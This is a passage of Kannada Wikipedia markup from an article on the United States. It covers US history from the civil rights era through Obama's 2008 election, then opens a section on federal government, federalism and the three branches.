ಬಿಕ್ಕಟ್ಟು|ಪರಮಾಣು ಪರೀಕ್ಷೆ]]ಯನ್ನು ಕೆನಡಿ ಎದುರಿಸಬೇಕಾಯಿತು. ಏನೇ ಆದರೂ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ವಿಸ್ತಾರವಾದ ಆರ್ಥಿಕ ಬೆಳವಣಿಗೆಯನ್ನು ಅನುಭವಿಸಿತು. [[ಆಫ್ರಿಕನ್-ಅಮೆರಿಕನ್ ಮಾನವ ಹಕ್ಕುಗಳ ಚಳುವಳಿ (1955–1968)|ನಾಗರಿಕ ಹಕ್ಕು ಚಳುವಳಿ]]ಯ ಬೆಳವಣಿಗೆಯಿಂದಾಗಿ [[ರೋಸಾ ಪಾರ್ಕ್ಸ್‌|ರೋಸಾ ಪಾರ್ಕ್ಸ್]] ಮತ್ತು [[ಮಾರ್ಟಿನ್‌ ಲೂಥರ್‌ ಕಿಂಗ್, ಜು.|ಮಾರ್ಟಿನ್ ಲೂಥರ್ ಕಿಂಗ್ ಜೂನಿಯರ್‌]]ರಂತಹ ಆಫ್ರಿಕನ್ ಅಮೆರಿಕನ್ನರು ವಿಮೋಚನೆ ಮತ್ತು ಪ್ರತ್ಯೇಕತೆಗೆ ಹೋರಾಡುವಂತಾಯಿತು. 1963ರಲ್ಲಿ [[ಜಾನ್ ಎಫ್. ಕೆನಡಿ ಹತ್ಯೆ|ಕೆನಡಿಯವರ ಹತ್ಯೆ]]ಯನಂತರ ಅಧ್ಯಕ್ಷ [[ಲಿಂಡನ್‌ ಬಿ. ಜಾನ್ಸನ್‌|ಲಿಂಡಾನ್ ಬಿ.ಜಾನ್ಸನ್‌]]ರವರ ಅಧ್ಯಕ್ಷತೆಯಲ್ಲಿ [[1964ರ ಸಿವಿಲ್ ಹಕ್ಕುಗಳ ಕಾಯಿದೆ|1964ರ ನಾಗರಿಕ ಹಕ್ಕಿನ ಕಾನೂನು]] ಮತ್ತು [[1965ರ ಮತದಾನದ ಹಕ್ಕುಗಳ ಕಾಯಿದೆ|1965ರ ಮತದಾನ ಹಕ್ಕಿನ ಕಾನೂನು‌]] ಜಾರಿಗೆ ಬಂತು. ಜಾನ್ಸನ್ ಮತ್ತು ಅವರ ಉತ್ತರಾಧಿಕಾರಿಯಾಗಿ ಬಂದ [[ರಿಚರ್ಡ್‌ ನಿಕ್ಸೊನ್‌|ರಿಚರ್ಡ್ ನಿಕ್ಸನ್‌]]ರವರು ಪ್ರಾತಿನಿಧಿಕ ಸಮರವನ್ನು ಏಷ್ಯಾದ ಆಗ್ನೇಯಕ್ಕೂ ವಿಸ್ತರಿಸಿದರು ಮತ್ತು [[ವಿಯಾಟ್ನಾಂ ಯುದ್ಧ|ವಿಯೆಟ್ನಾಂ ಸಮರ]]ದಲ್ಲಿ ಸೋಲನ್ನು ಅನುಭವಿಸಿದರು. [[ಲೈಂಗಿಕ ಕ್ರಾಂತಿ]], [[ಕಪ್ಪು ರಾಷ್ಟ್ರೀಯತೆ]] ಮತ್ತು [[ವಿಯೆಟ್ನಾಮ್ ಯುದ್ಧದ ವಿರುದ್ಧ|ಸಮರ ವಿರೋಧ]]ಗಳಿಂದಾಗಿ [[1960ರ ವಿರುದ್ಧಸಂಸ್ಕೃತಿ|ಪ್ರತಿಸಂಸ್ಕೃತಿ ಚಳುವಳಿ]]ಯು ವಿಶಾಲವಾಗಿ ಹರಡಿತು. [[ಬೆಟ್ಟಿ ಫ್ರಿಯಡನ್|ಬೆಟ್ಟಿ ಫ್ರೀಡನ್]], [[ಗ್ಲೊರಿಯ ಸ್ಟೈನೆಮ್|ಗ್ಲೋರಿಯಾ ಸ್ಟೀನೆಮ್]] ಮತ್ತಿತರರು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಮಹಿಳಾಪರ ಚಳುವಳಿಗಳು|ಹೊಸ ಅಲೆಯ ಸ್ತ್ರೀವಾದ]]ವನ್ನು ಹುಟ್ಟುಹಾಕಿದರು. ಇದು ಸ್ತ್ರೀಯರಿಗೆ ರಾಜಕೀಯ, ಸಾಮಾಜಿಕ ಮತ್ತು ಆರ್ಥಿಕ ಸಮಾನತೆಯನ್ನು ಪ್ರತಿಬಿಂಬಿಸಿತು. [[ವಾಟರ್‌ಗೇಟ್ ಹಗರಣ]]ದಿಂದಾಗಿ 1974ರಲ್ಲಿ ರಾಜೀನಾಮೆ ಸಲ್ಲಿಸಿದ ನಿಕ್ಸನ್ ಅವರು ಹೀಗೆ ರಾಜೀನಾಮೆ ಸಲ್ಲಿಸಿದ ಸಂಯಕ್ತ ಸಂಸ್ಥಾನದ ಮೊದಲ ಅಧ್ಯಕ್ಷರಾದರು. ಅಧಿಕಾರದ ದುರ್ಬಳಕೆ ಮತ್ತು ನ್ಯಾಯಕ್ಕೆ ಅಡ್ಡಿಪಡಿಸಿದ್ದಕ್ಕೆ ಉಂಟಾದ [[ದೋಷಾರೋಪಣೆ|ದೋಷಾರೋಪ]]ಣೆಯನ್ನು ತಪ್ಪಿಸುವುದಕ್ಕೆ ಅವರು ಈ ಕ್ರಮವನ್ನು ಕೈಗೊಂಡರು. ಉಪಾಧ್ಯಕ್ಷರಾಗಿದ್ದ [[ಗೆರಾಲ್ಡ್ ಫೋರ್ಡ್]] ಅವರ ತರುವಾಯ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಅಧ್ಯಕ್ಷೀಯ ಉತ್ತರಾಧಿಕಾರ ಪಟ್ಟಿ|ಅಧ್ಯಕ್ಷರಾಗುತ್ತಾರೆ]]. [[ಜಿಮ್ಮಿ ಕಾರ್ಟರ್|ಜಿಮ್ಮಿ ಕಾರ್ಟರ್‌]]ರವರ 1970ರ ಆಡಳಿತವನ್ನು [[ಉಬ್ಬರಮಂದ ಸ್ಥಿತಿ|ಹಸಿವು-ನಿರುದ್ಯೋಗದ ಸಮಯ]] ಎಂದು ಹಾಗೂ [[ಇರಾನ್ ಒತ್ತೆಯಾಳು ಬಿಕ್ಕಟು|ಇರಾನ್ ಒತ್ತೆಯಾಳು ಸಂದಿಗ್ಧ]]ತೆಯ ಸಮಯ ಎಂದು ಗುರುತಿಸಲಾಗುತ್ತದೆ. 1980ರಲ್ಲಿ ಆರಿಸಿ ಅಧಿಕಾರಕ್ಕೆ ಬಂದ ಅಧ್ಯಕ್ಷ [[ರೊನಾಲ್ಡ್ ರೆಗನ್|ರೊನಾಲ್ಡ್ ರೇಗನ್]] [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದಲ್ಲಿ ಸಾಂಪ್ರದಾಯಿಕತೆ|ಅಮೆರಿಕಾ ರಾಜಕೀಯವನ್ನು ಸರಿದಾರಿಗೆ ತಂದ]] ರಾಯಭಾರಿ ಎಂದು ಗುರುತಿಸಲಾಗುತ್ತದೆ. [[ರೀಗನಾಮಿಕ್ಸ್|ತೆರಿಗೆ ನೀತಿ ಮತ್ತು ಸದ್ಬಳಕೆ]]ಯ ಪ್ರಾಶಸ್ತ್ಯದಂತಹ ಬದಲಾವಣೆಗಳ ಜಾರಿಯಲ್ಲಿ ಇದನ್ನು ಗುರುತಿಸಬಹುದು. ಇವರ ಎರಡನೇ ಅವಧಿಯು [[ಇರಾನ್ – ಕೊಂಟ್ರಾ ವ್ಯವಹಾರ|ಇರಾನ್-ಕಾಂಟ್ರಾ]] ಹಗರಣ ಮತ್ತು [[ಶೀತಲ ಸಮರ (1985–1991)|ಸೋವಿಯತ್ ಯೂನಿಯನ್ ಜೊತೆಗಿನ ಮಹತ್ವದ ರಾಜತಾಂತ್ರಿಕ ಬೆಳವಣಿಗೆ]]ಗೆ ಕಾರಣವಾಯಿತು. ನಂತರದ ಸೋವಿಯತ್ ಯೂನಿಯನ್ ಒಡಕಿನಿಂದ ಶೀತಲ ಸಮರವು ಕೊನೆಗೊಂಡಿತು. === ಸಮಕಾಲೀನ ಘಟನೆಗಳು === {{seealso|September 11 attacks|Iraq War|Late 2000s recession}} [[ಚಿತ್ರ:World-Trade-Center 9-11.jpg|thumb|right|ವಿಶ್ವ ವಾಣಿಜ್ಯ ಮಳಿಗೆಯ ಮೇಲೆ ಬೆಳಿಗ್ಗೆ ಸೆಪ್ಟೆಂಬರ್ 11, 2001]] [[ಜಾರ್ಜ್ ಹಾರ್‌ಬರ್ಟ್ ವಾಕರ್ ಬುಷ್|ಜಾರ್ಜ್ ಹರ್ಬರ್ಟ್ ವಾಕರ್ ಬುಶ್]] ಅಧ್ಯಕ್ಷರಾಗಿದ್ದ ಸಂಯುಕ್ತ ರಾಷ್ಟ್ರಗಳು ಆರಂಭಿಸಿದ [[ಕೊಲ್ಲಿ ಯುದ್ಧ|ಗಲ್ಫ್ ಸಮರ]] ಮತ್ತು [[ಬಿಲ್ ಕ್ಲಿಂಟನ್]] ಅಧ್ಯಕ್ಷರಾಗಿದ್ದ ಸಮಯದಲ್ಲಿ ನಡೆದ [[ಯುಗೊಸ್ಲವ್ ಯುದ್ಧಗಳು|ಯುಗೋಸ್ಲಾವ್ ಸಮರ]]ದ ಸೂತ್ರಧಾರನ ಪಾತ್ರವನ್ನು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಮತ್ತು ಅದರ ಒಕ್ಕೂಟವು ತೆಗೆದುಕೊಂಡಿತು. ಇದು ಅಮೆರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವನ್ನು ಶಕ್ತಿಶಾಲಿ ರಾಷ್ಟ್ರವನ್ನಾಗಿ ಕಾಯ್ದುಕೊಳ್ಳಲು ಸಹಾಯಕವಾಯಿತು. ಆಧುನಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಇತಿಹಾಸದಲ್ಲಿ ಅತ್ಯಂತ ಧೀರ್ಘವಾದ ಆರ್ಥಿಕತೆಯ ವಿಸ್ತರಣೆಯು (ಮಾರ್ಚ್ 1991 ರಿಂದ ಮಾರ್ಚ್ 2001) ಕ್ಲಿಂಟನ್ ಆಡಳಿತ ಮತ್ತು [[ಡಾಟ್ -ಕಾಂ ಬಬ್ಬಲ್|ಡಾಟ್-ಕಾಂ ಬಬಲ್‌]]ನವರೆಗೆ ಹರಡಿದೆ.<ref>{{cite web|author=Voyce, Bill|url=http://iwin.iwd.state.ia.us/iowa/ArticleReader?itemid=00003700&print=1|title=Why the Expansion of the 1990s Lasted So Long|publisher=Iowa Workforce Information Network|date=2006-08-21|accessdate=2007-08-16}}</ref> 1998ರಲ್ಲಿ ಒಂದು [[ಪೌಲಾ ಜೋನ್ಸ್|ಸಿವಿಲ್ ಮೊಕದ್ದಮೆ]] ಮತ್ತು [[ಲೆವಿನ್‌ಸ್ಕಿ ಹಗರಣ|ಲೈಂಗಿಕ ಹಗರಣ]]ದಿಂದಾಗಿ [[ಬಿಲ್ ಕ್ಲಿಂಟನ್ ದೋಷಾರೋಪಣೆ|ಕ್ಲಿಂಟನ್‌ರವರ ಮೇಲೆ ದೋಷಾರೋಪಣೆ]] ಮಾಡಲಾಯಿತಾದರೂ ಅವರು ಅಧ್ಯಕ್ಷರಾಗಿ ಉಳಿದರು. ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಇತಿಹಾಸದಲ್ಲಿ ಮುಖ್ಯವಾದ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಅಧ್ಯಕ್ಷೀಯ ಚುನಾವಣೆ, 2000|2000ರ ಅಧ್ಯಕ್ಷೀಯ ಚುನಾವಣೆ]]ಯ ಸಂದರ್ಭದಲ್ಲಿ ಉಂಟಾದ ಸಮಸ್ಯೆ [[ಬುಷ್ ವಿ. ಗೋರೆ|ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಸರ್ವೋಚ್ಛ ನ್ಯಾಯಾಲಯದ ತೀರ್ಪಿ]]ನಿಂದಾಗಿ ಪರಿಹಾರಗೊಂಡು ಜಾರ್ಜ್ ಎಚ್.ಡಬ್ಲ್ಯೂ. ಬುಷ್‌ನ ಪುತ್ರರಾದ [[ಜಾರ್ಜ್ ಡಬ್ಲ್ಯು.ಬುಷ್|ಜಾರ್ಜ್ ಡಬ್ಲ್ಯೂ ಬುಷ್]] ಅಧ್ಯಕ್ಷರಾದರು. [[ಸೆಪ್ಟೆಂಬರ್ 11ರ ದಾಳಿ|ಸೆಪ್ಟೆಂಬರ್ 11, 2001]]ರಂದು [[ಅಲ್-ಕೈಯಿದಾ|ಅಲ್-ಖಾಯಿದಾ]] ಉಗ್ರರು ನ್ಯೂಯಾರ್ಕ್ ಸಿಟಿಯಲ್ಲಿರುವ [[ವಿಶ್ವ ವಾಣಿಜ್ಯ ಕಟ್ಟಡ|ವಿಶ್ವ ವಾಣಿಜ್ಯ ಮಳಿಗೆ]] ಮತ್ತು ವಾಶಿಂಗ್ಟನ್ ಡಿ.ಸಿಯ ಹತ್ತಿರದ [[ದಿ ಪೆಂಟಗನ್|ಪೆಂಟಗಾನ್]] ಕಟ್ಟಡದ ಮೇಲೆ ನಡೆಸಿದ ದಾಳಿಯಲ್ಲಿ ಸುಮಾರು ಮೂರು ಸಾವಿರ ಜನರು ಪ್ರಾಣಕಳೆದುಕೊಂಡರು. ಇದರ ಪರಿಣಾಮವಾಗಿ [[ಜಾರ್ಜ್ ಡಬ್ಲು. ಬುಷ್ ನಿವಾಸ|ಬುಷ್ ಆಡಳಿತ]]ವು "[[ಭಯೋತ್ಪಾದನೆ ವಿರುದ್ಧ ಯುದ್ಧ|ಭಯೋತ್ಪಾದನೆಯ ವಿರುದ್ಧದ ಸಮರ]]"ವನ್ನು ಪ್ರಾರಂಭಿಸಿತು. [[ತಾಲಿಬಾನ್]] ಆಡಳಿತವನ್ನು ತೊಡೆದುಹಾಕುವುದಕ್ಕೆ ಮತ್ತು ಅಲ್-ಖಾಯಿದಾ ತರಬೇತಿ ಶಿಬಿರಗಳ ನಿರ್ಮೂಲನೆಗಾಗಿ 2001ರಲ್ಲಿ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸೈನಿಕ ಪಡೆಗಳು [[ಅಫ್ಘಾ‌ನಿಸ್ತಾನದಲ್ಲಿ ಯುದ್ಧ (2001–)|ಅಫಘಾನಿಸ್ತಾನದ ಮೇಲೆ ದಾಳಿ]] ಮಾಡಿದವು. ಗೆರಿಲ್ಲಾ ಯುದ್ಧದ ಮೂಲಕ ತಾಲಿಬಾನ್ ಪ್ರತಿಭಟನೆಗಾರರು ಪ್ರತಿಭಟನೆಯನ್ನು ಮುಂದುವರಿಸಿದರು. 2002ರಲ್ಲಿ ಬುಷ್ ಆಡಳಿತವು [[ಇರಾಕ್ ಸಮರದ ಸಕಾರಣತೆ|ವಿವಾದದ ಕಾರಣಗಳನ್ನು]] ಮುಂದೊಡ್ಡಿ ಇರಾಕಿನಲ್ಲಿ [[ಅಳ್ವಿಕೆ ಬದಲಾವಣೆ|ಆಡಳಿತ ಬದಲಾವಣೆ]]ಗೆ ಒತ್ತಾಯಿಸಿತು.<ref>{{cite web|title=Many Europeans Oppose War in Iraq|work=USA Today|url=http://www.usatoday.com/news/world/2003-02-14-eu-survey.htm|date=2003-02-14|accessdate=2008-09-01}}{{cite web|author=Springford, John|title='Old’ and ‘New’ Europeans United: Public Attitudes Towards the Iraq War and US Foreign Policy|publisher=Centre for European Reform|url=http://www.cer.org.uk/pdf/back_brief_springford_dec03.pdf|month=December|year=2003|accessdate=2008-09-01}}</ref> ನ್ಯಾಟೋ ಮತ್ತು ಸಂಯುಕ್ತ ರಾಷ್ಟ್ರಗಳ ಬೆಂಬಲ ಇರದ ಕಾರಣದಿಂದಾಗಿ ಬುಷ್ ಆಡಳಿತವು ಸೈನಿಕ ಹಸ್ತಕ್ಷೇಪಕ್ಕೆ [[ನಂಬಿಕೆಯ ಒಕ್ಕೂಟ|ಸಂಯೋಜಿತ ಸಮ್ಮತಿ]]ಯನ್ನು ಏರ್ಪಡಿಸಿತು. ಸಂಯೋಜಿತ ಪಡೆಗಳು [[ಸಮರ ಪೂರ್ವ ಸಿದ್ಧತೆ|ಪೂರ್ವಭಾವಿ]]ಯಾಗಿ, 2003ರಲ್ಲಿ [[2003 ಇರಾಕ್ ಅನ್ವೇಷಣೆ|ಇರಾಕ್‌ನ ಮೇಲೆ ದಾಳಿ]] ಮಾಡಿದವು. ನಿರಂಕುಶಾಧಿಕಾರಿ ಮತ್ತು ಅಮೆರಿಕದ ಮಾಜಿ ಸ್ನೇಹಿತ [[ಸದ್ದಾಂ ಹುಸೇನ್|ಸದ್ದಾಮ್ ಹುಸೇನ್‌‌‌]]ನನ್ನು ಪದಚ್ಯುತಗೊಳಿಸಲಾಯಿತು. 2005ರಲ್ಲಿ [[ಕತ್ರಿನಾ ಚಂಡಮಾರುತ]]ವು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಗಲ್ಫ್ ಕರಾವಳಿ|ಗಲ್ಫ್‌ನ ಕರಾವಳಿ]]ಯುದ್ಧಕ್ಕೂ, ನಂತರ ಗಂಭೀರ ಹಾನಿಗೂ ಕಾರಣವಾಯಿತು ಮತ್ತು [[ನ್ಯೂ ಓರ್ಲಿಯಾನ್ಸ್|ನ್ಯೂ ಓರ್ಲಿಯನ್ಸ್‌]] ವಿಧ್ವಂಸಗೊಂಡಿತು. ನವೆಂಬರ್ 4, 2008ರಲ್ಲಿ [[2000ರ ಆರ್ಥಿಕ ಹಿಂಜರಿಕೆ#ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಜಾಗತಿಕ ಆರ್ಥಿಕ ಹಿನ್ನಡೆ]]ಯ ಮಧ್ಯೆ [[ಬರಾಕ್ ಓಬಾಮ|ಬರಾಕ್ ಒಬಾಮಾ]]ರವರು ಅಧ್ಯಕ್ಷರಾಗಿ ಆಯ್ಕೆಯಾದರು. ಇವರು ಮೊಟ್ಟ ಮೊದಲ ಆಫ್ರಿಕನ್ ಅಮೆರಿಕನ್ ಅಧ್ಯಕ್ಷ. == ಸರ್ಕಾರ ಮತ್ತು ಚುನಾವಣೆಗಳು == {Main|[[:en:Federal government of the United States]]|[[:en:Elections in the United States]]} *[[ಅಮೇರಿಕಾ ಸಂಸ್ಥಾನದಲ್ಲಿ ಚುನಾವಣೆಗಳು]]--[[ಅಮೇರಿಕ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸರ್ಕಾರ]] [[ಚಿತ್ರ:Capitol Building Full View.jpg|thumb|right| ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಮ್ಮೇಳನದ ಮನೆಯಾಗಿರುವ, ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಸರಕಾರದ ಕಾರ್ಯಾಲಯದ ಪಶ್ಚಿಮ ದ್ವಾರ]] ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನವು ಜಗತಿನ ಅತೀ ಹಳೆಯ ಉಳಿದಿರುವ [[ಫೆಡರೇಶನ್|ಒಕ್ಕೂಟರಾಷ್ಟ್ರ]]ವಾಗಿದೆ. ಇದು [[ಸಾಂವಿಧಾನಿಕ ಗಣರಾಜ್ಯ|ಸಾಂವಿಧಾನಿಕ ಪ್ರಜಾಪ್ರಭುತ್ವ]]ವಾಗಿದ್ದು ಇದರಲ್ಲಿ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಕಾನೂನು|ಕಾನೂನಿಂ]]ದ ರಕ್ಷಿಸಿಲ್ಪಟ್ಟ [[ಅಲ್ಪಸಂಖ್ಯಾತ ಹಕ್ಕುಗಳು|ಅಲ್ಪಸಂಖ್ಯಾತರ ಹಕ್ಕು]]ಗಳು [[ಬಹುಮತ ಕಾಯ್ದೆ|ಬಹುಸಂಖ್ಯಾತರ ಆಡಳಿತ]]ವನ್ನು ಮೃದುಗೊಳಿಸುತ್ತವೆ.<ref> ಶೆಬ್, ಜಾನ್ ಎಮ್., ಅಂಡ್ ಜಾನ್ ಎಮ್. ಶೆಬ್ II (2002). ''ಎನ್ ಇಂಟ್ರಡಕ್ಷನ್ ಟು ದಿ ಅಮೆರಿಕನ್ ಲೀಗಲ್ ಸಿಸ್ಟಮ್'' ಫ್ಲಾರೆನ್ಸ್, ಕೆವೈ: ಡೆಲ್ಮರ್, p. 6. ISBN 0-7668-2759-3.</ref> ಇದು ಮೂಲಭೂತವಾಗಿ [[ಮಾದರಿ ಪ್ರಜಾಪ್ರಭುತ್ವ|ಪ್ರತಿನಿಧಿ ಪ್ರಜಾಪ್ರಭುತ್ವದ]] ರಚನೆಯನ್ನು ಹೊಂದಿದೆ. ಆದರೂ ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಭೂಪ್ರದೇಶದಲ್ಲಿ ನೆಲೆಸಿದ ನಾಗರಿಕರು ಫೆಡರಲ್ ಅಧಿಕಾರಿಗಳ ಮತದಾನದಲ್ಲಿ ಭಾಗವಹಿಸುವಂತಿಲ್ಲ.<ref>ರಸ್ಕಿನ್, ಜೇಮ್ಸ್ ಬಿ. (2003 ''ಓವರ್‌ರೂಲಿಂಗ್ ಡೆಮಾಕ್ರಸಿ: ದಿ ಸುಪ್ರೀಮ್ ಕೋರ್ಟ್ ವರ್ಸಸ್ ದಿ ಅಮೆರಿಕನ್ ಪೀಪಲ್'' ಲಂಡನ್ ಅಂಡ್ ನ್ಯೂಯಾರ್ಕ್ ರೂಟ್‌ಲೆಡ್ಜ್, pp. 36–38. ISBN 0-415-93439-7.</ref> ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ ಸಂವಿಧಾನದ ವ್ಯಾಖ್ಯಾನದಂತೆ, ಸರ್ಕಾರವು [[ಶಕ್ತಿಗಳ ವಿಭಜನೆ|ಚೆಕ್ಸ್ ಮತ್ತು ಬ್ಯಾಲೆನ್ಸ್]] ವ್ಯವಸ್ಥೆಯಿಂದ ನಿಯಂತ್ರಿಸಲ್ಪಟ್ಟಿದ್ದು, ಇದು ದೇಶದ ಸರ್ವೋಚ್ಛ ಕಾನೂನುಬದ್ಧ ದಾಖಲೆಯಾಗಿದೆ. [[ಫೆಡರಲಿಸಂ#ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ|ಅಮೆರಿಕದ ಫೆಡರಲಿಸ್ಟ್ ವ್ಯವಸ್ಥೆ]]ಯಲ್ಲಿ ನಾಗರಿಕರು ಫೆಡರಲ್, ರಾಜ್ಯ ಮತ್ತು ಸ್ಥಳೀಯ ಎಂಬ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ರಾಜಕೀಯ ವಿಭಾಗಗಳು|ಮೂರು ಹಂತದ ಸರ್ಕಾರದ]] ಆಡಳಿತಕ್ಕೆ ಒಳಪಡುತ್ತಾರೆ. [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸ್ಥಳೀಯ ಸರ್ಕಾರ|ಸ್ಥಳೀಯ ಸರ್ಕಾರ]]ದ ಕೆಲಸವು ಸಾಮಾನ್ಯವಾಗಿ [[ಕೌಂಟಿ(ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನ)|ಕೌಂಟಿ]] ಮತ್ತು ಪೌರಸಂಸ್ಥೆಯ ಆಡಳಿತದ ಮಧ್ಯೆ ಹಂಚಲ್ಪಟ್ಟಿರುತ್ತದೆ. ಸಾಮಾನ್ಯವಾಗಿ ಎಲ್ಲ ಸಂದರ್ಭಗಳಲ್ಲಿಯೂ ಕಾರ್ಯಾಂಗ ಮತ್ತು ಶಾಸಕಾಂಗದ ಅಧಿಕಾರಿಗಳು ಚುನಾವಣೆಯಲ್ಲಿ ಡಿಸ್ಟ್ರಿಕ್ಟ್‌ಯ ನಾಗರಿಕರ [[ಬಹುಮತ ಪದ್ಧತಿ|ಬಹುಮತ]]ದಿಂದ ಆರಿಸಿ ಬಂದವರಾಗಿರುತ್ತಾರೆ. ಫೆಡರಲ್ ಹಂತದಲ್ಲಿ [[ಅನುಪಾತಾಧಾರಿತ ಪ್ರತಿನಿಧಿತ್ವ|ಅನುಪಾತದ ಪ್ರಾತಿನಿಧಿತ್ವ]] ಇರುವುದಿಲ್ಲ ಹಾಗೂ ಕೆಳ ಹಂತದಲ್ಲಿ ತುಂಬ ಕಡಿಮೆ ಸಂದರ್ಭಗಳಲ್ಲಿ ಇರುತ್ತದೆ. ಫೆಡರಲ್ ಮತ್ತು ರಾಜ್ಯ ನ್ಯಾಯಾಂಗ ಹಾಗೂ [[ಕ್ಯಾಬಿನೆಟ್ (ಸರ್ಕಾರ)|ಮಂತ್ರಿಮಂಡಲ]]ದ ಅಧಿಕಾರಿಗಳು ಕಾರ್ಯಾಂಗದಿಂದ ನಾಮಾಂಕಿತರಾಗಿರುತ್ತಾರೆ ಮತ್ತು ಶಾಸಕಾಂಗದಿಂದ ಅನುಮೋದಿಸಲ್ಪಟ್ಟವರಾಗಿರುತ್ತಾರೆ. ಹಾಗಿದ್ದರೂ ಕೆಲವು ರಾಜ್ಯ ನ್ಯಾಯಾಧೀಶರು ಮತ್ತು ಅಧಿಕಾರಿಗಳು ಜನರಿಂದ ಚುನಾಯಿಸಲ್ಪಟ್ಟವರಾಗಿರುತ್ತಾರೆ. [[ಚಿತ್ರ:WhiteHouseSouthFacade.JPG|thumb|left| ವೈಟ್ ಹೌಸ್‌ನ ದಕ್ಷಿಣ ದ್ವಾರ, ಮನೆ ಮತ್ತು ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಅಧ್ಯಕ್ಷರ ಕೆಲಸದ ಸ್ಥಳ.]] ಸಂಯುಕ್ತ ಸರ್ಕಾರವು ಮೂರು ಶಾಖೆಗಳನ್ನು ಹೊಂದಿದೆ: *[[ಶಾಸಕಾಂಗ]]: [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಂಪುಟ|ಸೆನೆಟ್]] ಮತ್ತು [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಪ್ರತಿನಿಧಿಗಳ ಮನೆ|ಪ್ರತಿನಿಧಿಗಳ ಮನೆ]]ಯಾದಂತಹ [[ಬೈಕ್ಯಾಮೆರಲಿಸಂ|ಉಭಯ ಸದನ]]ಗಳ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸಮ್ಮೇಳನ|ಸಮ್ಮಿಳನ]]ವು [[ಫೆಡರಲ್ ಕಾನೂನು]]ಗಳ ರಚನೆ, [[ಸಮರ ಘೋಷಣೆ|ಸಮರ ಸಾರುವಿಕೆ]] ಹಾಗೂ ಒಪ್ಪಂದಗಳಿಗೆ ಒಪ್ಪಿಗೆಯನ್ನು ನೀಡುವಂತದ್ದಾಗಿರುತ್ತದೆ. ಅದು [[ಹಣದ ಸಾಮರ್ಥ್ಯ|ಹಣಕಾಸಿನ ಶಕ್ತಿ]] ಹಾಗೂ ಸರ್ಕಾರದಲ್ಲಿನ ಸದಸ್ಯರನ್ನು ತೆಗೆದುಹಾಕುವಂತಹ [[ದೋಷಾರೋಪಣೆ|ದೋಷಾರೋಪಿಸುವ ಶಕ್ತಿ]]ಯನ್ನೂ ಕೂಡಾ ಹೊಂದಿರುತ್ತದೆ. *[[ಕಾರ್ಯಾಂಗ (ಸರ್ಕಾರ)|ಕಾರ್ಯಾಂಗ]]: [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಅಧ್ಯಕ್ಷ|ಅಧ್ಯಕ್ಷ]]ರು [[ಸೇನಾಪಡೆ ಮುಖ್ಯಸ್ಥ|ಸೇನೆಯ ಮುಖ್ಯಸ್ಥ]]ರಾಗಿರುತ್ತಾರೆ, [[ಬಿಲ್ (ಪ್ರಸ್ತಾವಿತ ಕಾನೂನು)|ಶಾಸಕಾಂಗದ ಮಸೂದೆ]]ಗಳು ಕಾನೂನಾಗಿ ಮಾರ್ಪಾಡಾಗುವ ಮುಂಚೆಯೇ ಅದರ ಮೇಲೆ ನಿರಾಕರಣಾಧಿಕಾರವನ್ನು ಹೊಂದಿರುತ್ತಾರೆ, ಹಾಗೂ ಫೆಡರಲ್ ಕಾನೂನು ಮತ್ತು ನಿಯಮಗಳನ್ನು ನಿಯಂತ್ರಿಸುವ, [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಕ್ಯಾಬಿನೆಟ್|ಸಂಪುಟ]] ಮತ್ತು ಇತರೆ ಅಧಿಕಾರಿಗಳನ್ನು ನೇಮಿಸುತ್ತಾರೆ. * [[ನ್ಯಾಯಾಂಗ]]: ಕಾನೂನಿನ ಅರ್ಥವಿವರಣೆ ನೀಡುವ ಮತ್ತು [[ಸಾಂವಿಧಾನಿಕತೆ|ಅಸಾಂವಿಧಾನಿಕ]] ಎಂದು ಕಂಡುಬಂದವುಗಳನ್ನು ಸರಿತಿರುಗಿಸುವ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಸರ್ವೋಚ್ಛ ನ್ಯಾಯಾಲಯ|ಸರ್ವೋಚ್ಛ ನ್ಯಾಯಾಲಯ]]ದ ಮತ್ತು ಕೆಳ ಹಂತದಲ್ಲಿನ [[ಸಂಯುಕ್ತ ಸಂಸ್ಥಾನದ ಫೆಡರಲ್ ನ್ಯಾಯಾಲಯ|ಫೆಡರಲ್ ನ್ಯಾಯಾಲಯ]]ದ ನ್ಯಾಯಾಧೀಶರು ಅಧ್ಯಕ್ಷ ಮತ್ತು ಸಂಪುಟದಿಂದ ನೇಮಿಸಲ್ಪಟ್ಟವರಾಗಿರುತ್ತಾರೆ. [[ಚಿತ್ರ:USSupremeCourtWestFacade.JPG|thumb|right| ಸರ್ವೋಚ್ಛ ನ್ಯಾಯಾಲಯ ಕಟ್ಟಡದ ಪಶ್ಚಿಮ ಮುಂಭಾಗ]] *ಪ್ರತಿನಿಧಿಗಳ ಮನೆಯು 435 